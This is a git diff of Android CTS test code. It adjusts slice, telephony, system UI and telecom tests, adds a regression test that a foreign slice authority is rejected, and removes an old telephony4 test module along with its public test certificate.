@@ -33,7 +33,7 @@
* Prior to fixing bug 33300701, decoding resulted in undefined behavior (divide by zero).
* With the fix, decoding will fail, without dividing by zero.
*/
- @SecurityTest
+ @SecurityTest(minPatchLevel = "2017-03")
public void test_android_bug_33300701() {
InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33300701);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
diff --git a/tests/tests/slice/Android.mk b/tests/tests/slice/Android.mk
index b440d19..6355f79 100644
--- a/tests/tests/slice/Android.mk
+++ b/tests/tests/slice/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
diff --git a/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java b/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java
index ae17b46..8a655cd 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java
@@ -16,8 +16,6 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeFalse;
-import android.content.pm.PackageManager;
import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertTrue;
@@ -56,12 +54,9 @@
private static final Uri BASE_URI = Uri.parse("content://android.slice.cts/");
private final Context mContext = InstrumentationRegistry.getContext();
private final SliceManager mSliceManager = mContext.getSystemService(SliceManager.class);
- private static final String FEATURE_WATCH = "android.hardware.type.watch";
- private final boolean isWatch = mContext.getPackageManager().hasSystemFeature(FEATURE_WATCH);
@Test
public void testProcess() {
- assumeFalse(isWatch);
sFlag = false;
mSliceManager.bindSlice(BASE_URI.buildUpon().appendPath("set_flag").build(),
Collections.emptySet());
@@ -76,7 +71,6 @@
@Test
public void testSliceUri() {
- assumeFalse(isWatch);
Slice s = mSliceManager.bindSlice(BASE_URI,
Collections.emptySet());
assertEquals(BASE_URI, s.getUri());
@@ -84,7 +78,6 @@
@Test
public void testSubSlice() {
- assumeFalse(isWatch);
Uri uri = BASE_URI.buildUpon().appendPath("subslice").build();
Slice s = mSliceManager.bindSlice(uri, Collections.emptySet());
assertEquals(uri, s.getUri());
@@ -100,7 +93,6 @@
@Test
public void testText() {
- assumeFalse(isWatch);
Uri uri = BASE_URI.buildUpon().appendPath("text").build();
Slice s = mSliceManager.bindSlice(uri,
Collections.emptySet());
@@ -115,7 +107,6 @@
@Test
public void testIcon() {
- assumeFalse(isWatch);
Uri uri = BASE_URI.buildUpon().appendPath("icon").build();
Slice s = mSliceManager.bindSlice(uri,
Collections.emptySet());
@@ -130,7 +121,6 @@
@Test
public void testAction() {
- assumeFalse(isWatch);
sFlag = false;
CountDownLatch latch = new CountDownLatch(1);
BroadcastReceiver receiver = new BroadcastReceiver() {
@@ -165,7 +155,6 @@
@Test
public void testInt() {
- assumeFalse(isWatch);
Uri uri = BASE_URI.buildUpon().appendPath("int").build();
Slice s = mSliceManager.bindSlice(uri, Collections.emptySet());
assertEquals(uri, s.getUri());
@@ -178,7 +167,6 @@
@Test
public void testTimestamp() {
- assumeFalse(isWatch);
Uri uri = BASE_URI.buildUpon().appendPath("timestamp").build();
Slice s = mSliceManager.bindSlice(uri,
Collections.emptySet());
@@ -192,7 +180,6 @@
@Test
public void testHints() {
- assumeFalse(isWatch);
// Note this tests that hints are propagated through to the client but not that any specific
// hints have any effects.
Uri uri = BASE_URI.buildUpon().appendPath("hints").build();
@@ -207,7 +194,6 @@
@Test
public void testHasHints() {
- assumeFalse(isWatch);
Uri uri = BASE_URI.buildUpon().appendPath("hints").build();
Slice s = mSliceManager.bindSlice(uri, Collections.emptySet());
@@ -217,7 +203,6 @@
@Test
public void testBundle() {
- assumeFalse(isWatch);
Uri uri = BASE_URI.buildUpon().appendPath("bundle").build();
Slice s = mSliceManager.bindSlice(uri, Collections.emptySet());
assertEquals(uri, s.getUri());
@@ -232,7 +217,6 @@
@Test
public void testGetDescendants() {
- assumeFalse(isWatch);
Collection<Uri> allUris = mSliceManager.getSliceDescendants(BASE_URI);
assertEquals(SliceProvider.PATHS.length, allUris.size());
Iterator<Uri> it = allUris.iterator();
@@ -246,7 +230,6 @@
@Test
public void testGetSliceSpec() {
- assumeFalse(isWatch);
Uri uri = BASE_URI.buildUpon().appendPath("spec").build();
Slice s = mSliceManager.bindSlice(uri, Collections.emptySet());
assertEquals(new SliceSpec(SliceProvider.SPEC_TYPE, SliceProvider.SPEC_REV), s.getSpec());
diff --git a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
index 37ced3d..69d8d80 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
@@ -16,8 +16,6 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
-import android.content.pm.PackageManager;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.eq;
import static org.mockito.Mockito.mock;
@@ -56,12 +54,9 @@
private static final Uri BASE_URI = Uri.parse("content://android.slice.cts.local/main");
private final Context mContext = InstrumentationRegistry.getContext();
private final SliceManager mSliceManager = mContext.getSystemService(SliceManager.class);
- private static final String FEATURE_WATCH = "android.hardware.type.watch";
- private final boolean isWatch = mContext.getPackageManager().hasSystemFeature(FEATURE_WATCH);
@Before
public void setup() {
- assumeFalse(isWatch);
LocalSliceProvider.sProxy = mock(SliceProvider.class);
try {
mSliceManager.unpinSlice(BASE_URI);
@@ -71,9 +66,6 @@
@After
public void teardown() throws Exception {
- if (isWatch) {
- return;
- }
try {
mSliceManager.unpinSlice(BASE_URI);
} catch (Exception e) {
@@ -82,7 +74,6 @@
@Test
public void testPinSlice() throws Exception {
- assumeFalse(isWatch);
mSliceManager.pinSlice(BASE_URI, Collections.emptySet());
verify(LocalSliceProvider.sProxy, timeout(2000)).onSlicePinned(eq(BASE_URI));
@@ -90,7 +81,6 @@
@Test
public void testUnpinSlice() throws Exception {
- assumeFalse(isWatch);
mSliceManager.pinSlice(BASE_URI, Collections.emptySet());
verify(LocalSliceProvider.sProxy, timeout(2000)).onSlicePinned(eq(BASE_URI));
@@ -102,7 +92,6 @@
@Test
public void testPinList() {
- assumeFalse(isWatch);
Uri uri = BASE_URI;
Uri longerUri = uri.buildUpon().appendPath("something").build();
try {
@@ -122,7 +111,6 @@
@Test
public void testMapIntentToUri() {
- assumeFalse(isWatch);
Intent intent = new Intent("android.slice.cts.action.TEST_ACTION");
intent.setPackage("android.slice.cts");
intent.putExtra("path", "intent");
@@ -139,7 +127,6 @@
@Test
public void testOnCreatePermissionSlice() {
- assumeFalse(isWatch);
LocalSliceProvider.sAnswer = invocation -> {
throw new SecurityException("No slices allowed");
};
diff --git a/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java b/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java
index 15ffab3..5081943 100644
--- a/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java
@@ -18,8 +18,6 @@
import static android.content.pm.PackageManager.PERMISSION_GRANTED;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assume.assumeFalse;
-import android.content.pm.PackageManager;
import android.app.slice.SliceManager;
import android.content.Context;
@@ -44,12 +42,9 @@
private int mTestUid;
private int mTestPid;
private SliceManager mSliceManager;
- private static final String FEATURE_WATCH = "android.hardware.type.watch";
- private final boolean isWatch = mContext.getPackageManager().hasSystemFeature(FEATURE_WATCH);
@Before
public void setup() throws NameNotFoundException {
- assumeFalse(isWatch);
mSliceManager = mContext.getSystemService(SliceManager.class);
mTestPkg = mContext.getPackageName();
mTestUid = mContext.getPackageManager().getPackageUid(mTestPkg, 0);
@@ -58,15 +53,11 @@
@After
public void tearDown() {
- if (isWatch) {
- return;
- }
mSliceManager.revokeSlicePermission(mTestPkg, BASE_URI);
}
@Test
public void testGrant() {
- assumeFalse(isWatch);
assertEquals(PERMISSION_DENIED,
mSliceManager.checkSlicePermission(BASE_URI, mTestPid, mTestUid));
@@ -78,7 +69,6 @@
@Test
public void testGrantParent() {
- assumeFalse(isWatch);
Uri uri = BASE_URI.buildUpon()
.appendPath("something")
.build();
@@ -94,7 +84,6 @@
@Test
public void testGrantParentExpands() {
- assumeFalse(isWatch);
Uri uri = BASE_URI.buildUpon()
.appendPath("something")
.build();
@@ -121,7 +110,6 @@
@Test
public void testGrantChild() {
- assumeFalse(isWatch);
Uri uri = BASE_URI.buildUpon()
.appendPath("something")
.build();
@@ -138,7 +126,6 @@
@Test
public void testRevoke() {
- assumeFalse(isWatch);
assertEquals(PERMISSION_DENIED,
mSliceManager.checkSlicePermission(BASE_URI, mTestPid, mTestUid));
@@ -155,7 +142,6 @@
@Test
public void testRevokeParent() {
- assumeFalse(isWatch);
Uri uri = BASE_URI.buildUpon()
.appendPath("something")
.build();
@@ -176,7 +162,6 @@
@Test
public void testRevokeChild() {
- assumeFalse(isWatch);
Uri uri = BASE_URI.buildUpon()
.appendPath("something")
.build();
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
new file mode 100644
index 0000000..98f905a
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.slice.cts;
+
+import android.app.slice.Slice;
+import android.app.slice.SliceSpec;
+import android.content.ContentResolver;
+import android.net.Uri;
+import android.os.Bundle;
+
+import android.platform.test.annotations.SecurityTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.android.collect.Lists;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class SliceProviderTest {
+
+ private static final String VALID_AUTHORITY = "android.slice.cts";
+ private static final String SUSPICIOUS_AUTHORITY = "com.suspicious.www";
+ private static final String ACTION_BLUETOOTH = "/action/bluetooth";
+ private static final String VALID_BASE_URI_STRING = "content://" + VALID_AUTHORITY;
+ private static final String VALID_ACTION_URI_STRING =
+ "content://" + VALID_AUTHORITY + ACTION_BLUETOOTH;
+ private static final String SHADY_ACTION_URI_STRING =
+ "content://" + SUSPICIOUS_AUTHORITY + ACTION_BLUETOOTH;
+
+ @Rule
+ public ActivityTestRule<Launcher> mLauncherActivityTestRule = new ActivityTestRule<>(Launcher.class);
+
+ private Uri validBaseUri = Uri.parse(VALID_BASE_URI_STRING);
+ private Uri validActionUri = Uri.parse(VALID_ACTION_URI_STRING);
+ private Uri shadyActionUri = Uri.parse(SHADY_ACTION_URI_STRING);
+
+ private ContentResolver mContentResolver;
+
+ @Before
+ public void setUp() {
+ mContentResolver = mLauncherActivityTestRule.getActivity().getContentResolver();
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-11-01")
+ public void testCallSliceUri_ValidAuthority() {
+ doQuery(validActionUri);
+ }
+
+ @Test(expected = SecurityException.class)
+ @SecurityTest(minPatchLevel = "2019-11-01")
+ public void testCallSliceUri_ShadyAuthority() {
+ doQuery(shadyActionUri);
+ }
+
+ private Slice doQuery(Uri actionUri) {
+ Bundle extras = new Bundle();
+ extras.putParcelable("slice_uri", actionUri);
+ extras.putParcelableArrayList("supported_specs", Lists.newArrayList(
+ new SliceSpec("androidx.slice.LIST", 1),
+ new SliceSpec("androidx.app.slice.BASIC", 1),
+ new SliceSpec("androidx.slice.BASIC", 1),
+ new SliceSpec("androidx.app.slice.LIST", 1)
+ ));
+ Bundle result = mContentResolver.call(
+ validBaseUri,
+ SliceProvider.METHOD_SLICE,
+ null,
+ extras
+ );
+ return result.getParcelable(SliceProvider.EXTRA_SLICE);
+ }
+
+}
diff --git a/tests/tests/systemintents/Android.mk b/tests/tests/systemintents/Android.mk
index 16b8998..c68aaf1 100644
--- a/tests/tests/systemintents/Android.mk
+++ b/tests/tests/systemintents/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsSystemIntentTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules compatibility-device-util-axt
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index 941fef7..f6911b3 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -29,8 +29,6 @@
import androidx.test.filters.MediumTest;
import androidx.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.CddTest;
-
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -83,7 +81,6 @@
new Intent(Settings.ACTION_INPUT_METHOD_SETTINGS))
};
- @CddTest(requirement="3.8.3.3/C-1-1,3.2.3.5/C-1-1,7.4.7/C-1-2,C-2-3,6.2/C-0-1")
@Test
public void testSystemIntents() {
final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index 1f7e816..5b519b2 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -29,8 +29,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner-axt \
androidx.test.rules \
- ub-uiautomator \
- compatibility-device-util-axt
+ ub-uiautomator
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index f603c5f..831c4de 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -40,8 +40,6 @@
import org.junit.rules.TestName;
import org.junit.runner.RunWith;
-import com.android.compatibility.common.util.CddTest;
-
/**
* Test for light status bar.
*
@@ -59,6 +57,7 @@
* margin to accommodate for that when comparing colors.
*/
private static final int COLOR_COMPONENT_ERROR_MARGIN = 20;
+
private final String NOTIFICATION_TAG = "TEST_TAG";
private final String NOTIFICATION_CHANNEL_ID = "test_channel";
private final String NOTIFICATION_GROUP_KEY = "test_group";
@@ -70,7 +69,6 @@
@Rule
public TestName mTestName = new TestName();
- @CddTest(requirement="3.8.6/C-2-2")
@Test
@AppModeFull // Instant apps cannot create notifications
public void testLightStatusBarIcons() throws Throwable {
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
index 2d60870..954112b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
@@ -34,8 +34,6 @@
import android.telecom.VideoProfile;
import android.telephony.TelephonyManager;
-import com.android.compatibility.common.util.CddTest;
-
import java.util.List;
/**
@@ -376,7 +374,6 @@
}
}
- @CddTest(requirement="7.4.1.1/C-1-3")
public void testIncomingCallFromBlockedNumber_IsRejected() throws Exception {
if (!mShouldTestTelecom) {
return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java b/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java
index fba31a0..8163520 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java
@@ -29,8 +29,6 @@
import android.test.InstrumentationTestCase;
import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
-
import java.util.ArrayList;
import java.util.List;
@@ -101,7 +99,6 @@
telephonyMatches);
}
- @CddTest(requirement="7.4.1.1/C-1-6")
public void testTelecomCanManageBlockedNumbers() {
if (!shouldTestTelecom(mContext)) {
return;
diff --git a/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
index e1854cc..f6b30d8 100644
--- a/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -50,12 +50,7 @@
}
private boolean isSimCardPresent() {
- return mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE &&
- mTelephonyManager.getSimState() != TelephonyManager.SIM_STATE_ABSENT;
- }
-
- private boolean isSimCardAbsent() {
- return mTelephonyManager.getSimState() == TelephonyManager.SIM_STATE_ABSENT;
+ return mTelephonyManager.getSimState() != TelephonyManager.SIM_STATE_ABSENT;
}
private void checkConfig(PersistableBundle config) {
@@ -64,7 +59,7 @@
return;
}
assertNotNull("CarrierConfigManager should not return null config", config);
- if (isSimCardAbsent()) {
+ if (!isSimCardPresent()) {
// Static default in CarrierConfigManager will be returned when no sim card present.
assertEquals("Config doesn't match static default.",
config.getBoolean(CarrierConfigManager.KEY_ADDITIONAL_CALL_SETTING_BOOL), true);
diff --git a/tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java b/tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java
similarity index 82%
rename from tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java
rename to tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java
index dd56952..b15a4e8 100644
--- a/tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.telephony4.cts;
+package android.telephony.cts;
import android.content.Context;
import android.telephony.SmsManager;
@@ -67,6 +67,21 @@
}
/**
+ * Tests the TelephonyManager.setLine1NumberForDisplay(long, string, string) API. This makes a
+ * call to setLine1NumberForDisplay() API and expects a SecurityException since the test apk is
+ * not signed by the certificate on the SIM.
+ */
+ public void testSetLine1NumberForDisplay2() {
+ try {
+ if (isSimCardPresent()) {
+ TelephonyManager.getDefault().setLine1NumberForDisplay(0, "", "");
+ fail("Expected SecurityException. App doesn't have carrier privileges.");
+ }
+ } catch (SecurityException expected) {
+ }
+ }
+
+ /**
* Tests the TelephonyManager.iccOpenLogicalChannel() API. This makes a call to
* iccOpenLogicalChannel() API and expects a SecurityException since the test apk is not signed
* by certificate on the SIM.
@@ -74,8 +89,7 @@
public void testIccOpenLogicalChannel() {
try {
if (isSimCardPresent()) {
- TelephonyManager.getDefault().iccCloseLogicalChannel(
- TelephonyManager.getDefault().iccOpenLogicalChannel("").getChannel());
+ TelephonyManager.getDefault().iccOpenLogicalChannel("");
fail("Expected SecurityException. App doesn't have carrier privileges.");
}
} catch (SecurityException expected) {
@@ -157,13 +171,41 @@
}
/**
+ * Tests the TelephonyManager.nvWriteItem() API. This makes a call to nvWriteItem() API and
+ * expects a SecurityException since the test apk is not signed by a certificate on the SIM.
+ */
+ public void testNvWriteItem() {
+ try {
+ if (isSimCardPresent()) {
+ TelephonyManager.getDefault().nvWriteItem(0, "");
+ fail("Expected SecurityException. App doesn't have carrier privileges.");
+ }
+ } catch (SecurityException expected) {
+ }
+ }
+
+ /**
+ * Tests the TelephonyManager.nvWriteCdmaPrl() API. This makes a call to nvWriteCdmaPrl() API
+ * and expects a SecurityException since the test apk is not signed by a certificate on the SIM.
+ */
+ public void testNvWriteCdmaPrl() {
+ try {
+ if (isSimCardPresent()) {
+ TelephonyManager.getDefault().nvWriteCdmaPrl(null);
+ fail("Expected SecurityException. App doesn't have carrier privileges.");
+ }
+ } catch (SecurityException expected) {
+ }
+ }
+
+ /**
* Tests the TelephonyManager.nvResetConfig() API. This makes a call to nvResetConfig() API and
* expects a SecurityException since the test apk is not signed by a certificate on the SIM.
*/
public void testNvResetConfig() {
try {
if (isSimCardPresent()) {
- TelephonyManager.getDefault().nvResetConfig(1);
+ TelephonyManager.getDefault().nvResetConfig(0);
fail("Expected SecurityException. App doesn't have carrier privileges.");
}
} catch (SecurityException expected) {
@@ -204,7 +246,7 @@
* Tests that the test apk doesn't have carrier previliges.
*/
public void testHasCarrierPrivileges() {
- if (mTelephonyManager.hasCarrierPrivileges()) {
+ if (TelephonyManager.getDefault().hasCarrierPrivileges()) {
fail("App unexpectedly has carrier privileges");
}
}
diff --git a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
index 7b1797d..b7acf8e 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -125,21 +125,25 @@
}
/**
- * Sanity check that the device has a cellular network and a valid default data subId
- * when {@link PackageManager#FEATURE_TELEPHONY} support.
+ * Sanity check that both {@link PackageManager#FEATURE_TELEPHONY} and
+ * {@link NetworkCapabilities#TRANSPORT_CELLULAR} network must both be
+ * either defined or undefined; you can't cross the streams.
*/
@Test
public void testSanity() throws Exception {
- if (!isSupported()) return;
-
final boolean hasCellular = findCellularNetwork() != null;
- if (!hasCellular) {
+ if (isSupported() && !hasCellular) {
fail("Device claims to support " + PackageManager.FEATURE_TELEPHONY
+ " but has no active cellular network, which is required for validation");
+ } else if (!isSupported() && hasCellular) {
+ fail("Device has active cellular network, but claims to not support "
+ + PackageManager.FEATURE_TELEPHONY);
}
- if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
- fail("Device must have a valid default data subId for validation");
+ if (isSupported()) {
+ if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
+ fail("Device must have a valid default data subId for validation");
+ }
}
}
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index c61bcf7..0eabad7 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -92,9 +92,8 @@
@Test
public void testListen() throws Throwable {
- if (!InstrumentationRegistry.getContext().getPackageManager()
- .hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
- Log.d(TAG, "Skipping test that requires PackageManager.FEATURE_TELEPHONY");
+ if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+ Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
return;
}
@@ -187,9 +186,7 @@
}
// Make sure devices without MMS service won't fail on this
- if (InstrumentationRegistry.getContext().getPackageManager()
- .hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
- && (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE)) {
+ if (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE) {
assertFalse(mTelephonyManager.getMmsUserAgent().isEmpty());
assertFalse(mTelephonyManager.getMmsUAProfUrl().isEmpty());
}
@@ -264,6 +261,7 @@
assertTrue("Phone count should be > 0", phoneCount > 0);
break;
case TelephonyManager.PHONE_TYPE_NONE:
+ assertTrue("Phone count should be 0", phoneCount == 0 || phoneCount == 1);
break;
default:
throw new IllegalArgumentException("Did you add a new phone type? " + phoneType);
diff --git a/tests/tests/telephony4/Android.mk b/tests/tests/telephony4/Android.mk
deleted file mode 100644
index 6f36b53..0000000
--- a/tests/tests/telephony4/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_JAVA_LIBRARIES := telephony-common \
- android.test.runner.stubs \
- android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner-axt \
- compatibility-device-util-axt \
- truth-prebuilt
-
-LOCAL_HOST_SHARED_LIBRARIES := compatibility-device-telephony-preconditions
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSimRestrictedApisTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_CERTIFICATE := cts/tests/tests/telephony4/certs/android_telephony_cts_testkey
-
-
-include $(BUILD_CTS_PACKAGE)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/telephony4/certs/android_telephony_cts_testkey.pk8 b/tests/tests/telephony4/certs/android_telephony_cts_testkey.pk8
deleted file mode 100644
index f83d5ed..0000000
--- a/tests/tests/telephony4/certs/android_telephony_cts_testkey.pk8
+++ /dev/null
Binary files differ
diff --git a/tests/tests/telephony4/certs/android_telephony_cts_testkey.x509.pem b/tests/tests/telephony4/certs/android_telephony_cts_testkey.x509.pem
deleted file mode 100644
index 29ffd6a..0000000
--- a/tests/tests/telephony4/certs/android_telephony_cts_testkey.x509.pem
+++ /dev/null
@@ -1,30 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIF9TCCA92gAwIBAgIVAIja2SQYIM1wfIrwgObEUdBk/MfkMA0GCSqGSIb3DQEBCwUAMIGKMQsw
-CQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEU
-MBIGA1UEChMLR29vZ2xlIEluYy4xEDAOBgNVBAsTB0FuZHJvaWQxJjAkBgNVBAMMHWFuZHJvaWRf
-dGVsZXBob255X2N0c190ZXN0a2V5MB4XDTE5MDExMTE5MzMwM1oXDTQ5MDExMTE5MzMwM1owgYox
-CzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1Nb3VudGFpbiBWaWV3
-MRQwEgYDVQQKEwtHb29nbGUgSW5jLjEQMA4GA1UECxMHQW5kcm9pZDEmMCQGA1UEAwwdYW5kcm9p
-ZF90ZWxlcGhvbnlfY3RzX3Rlc3RrZXkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC9
-IXCTl7o3J6gy5YleQRFm5Xahth5hwpC7b/cfZiSW25AqNLZRcZJZDwYiJIpqOu773Hr5fEZMV5c1
-tYivwdwKnoGlWiqrpvwafIQxsAPtKoiSsB6r6Zx4hZBDzf5M+PRi3ieUrPrwaiGeVy1n4nPhcpHy
-bzE2G+ZkfzxRYRmmObi8+UC4lkI2dL1Y17hjNmWpeJrfhvl67K2gMmAtwjW2UxhyOcACg8Mya1eA
-VyqQgiEfMb52FK1opshHnGpIcLjY7UT1IesOZpWu3OWqiOw/KCU+nJaEemYFYceGR14RGfKk9r1N
-hcRhZLXPfZHr9TPsJ/O/oKrF3Q+TxoUJIhQ3lcYREftrqMZNDUUANENnfd1Bviu2atschG5Ohchk
-MiuKDadMl++LOkfGjoTikQXUHGxb4GIfgLJDmkp6+Andc2iZ2pRPm6zQmHXWmcwtz3RvyGtK0oYJ
-xwpVy0InE/Ao1sH8LrYvBPWKDVHbG2v+ydYYrx39ScBLgXQ4gxmTNU8+YX3zXVaGWMPuVP2GfyBl
-O+fl27RZO/XZlC28TQEMAvytSyeTs4blubRlLgcf9wAv774a797g7uSRSZ+8aqumatPrtZnhBojU
-2U4zuQilE5JGIIvM5ZGWUNMMkY5bB4bnw36oSK7kup8dyLlT7Jgfpc5RuzYPKzU+OcH/k0SeZwID
-AQABo1AwTjAMBgNVHRMEBTADAQH/MB0GA1UdDgQWBBR4+8+XqYU6x7dqy/fwqz5eG2TQIjAfBgNV
-HSMEGDAWgBR4+8+XqYU6x7dqy/fwqz5eG2TQIjANBgkqhkiG9w0BAQsFAAOCAgEAaxTiY0j+Xgig
-WnsfqJRCV7Qn6LFhCyS2zc96g+m0CkiPLW83BFkVND9JaAUVw3GIUKDEtZkUy3v5L4//QmfdYIbH
-IBX5d/GJAVkH4MRFb47Mr2qu6t33eNiDaRzJe5WIQ+3qI1P0/2ihqKOAEC8OSWQWzY8eWB9O4vKp
-U/0JENOcSTfthce7dDhCCqw3P0Xmo9xW1x9YqcAPzNcQE7Lm68MeOB9esoTlIFS7R9tRp17pBU8Y
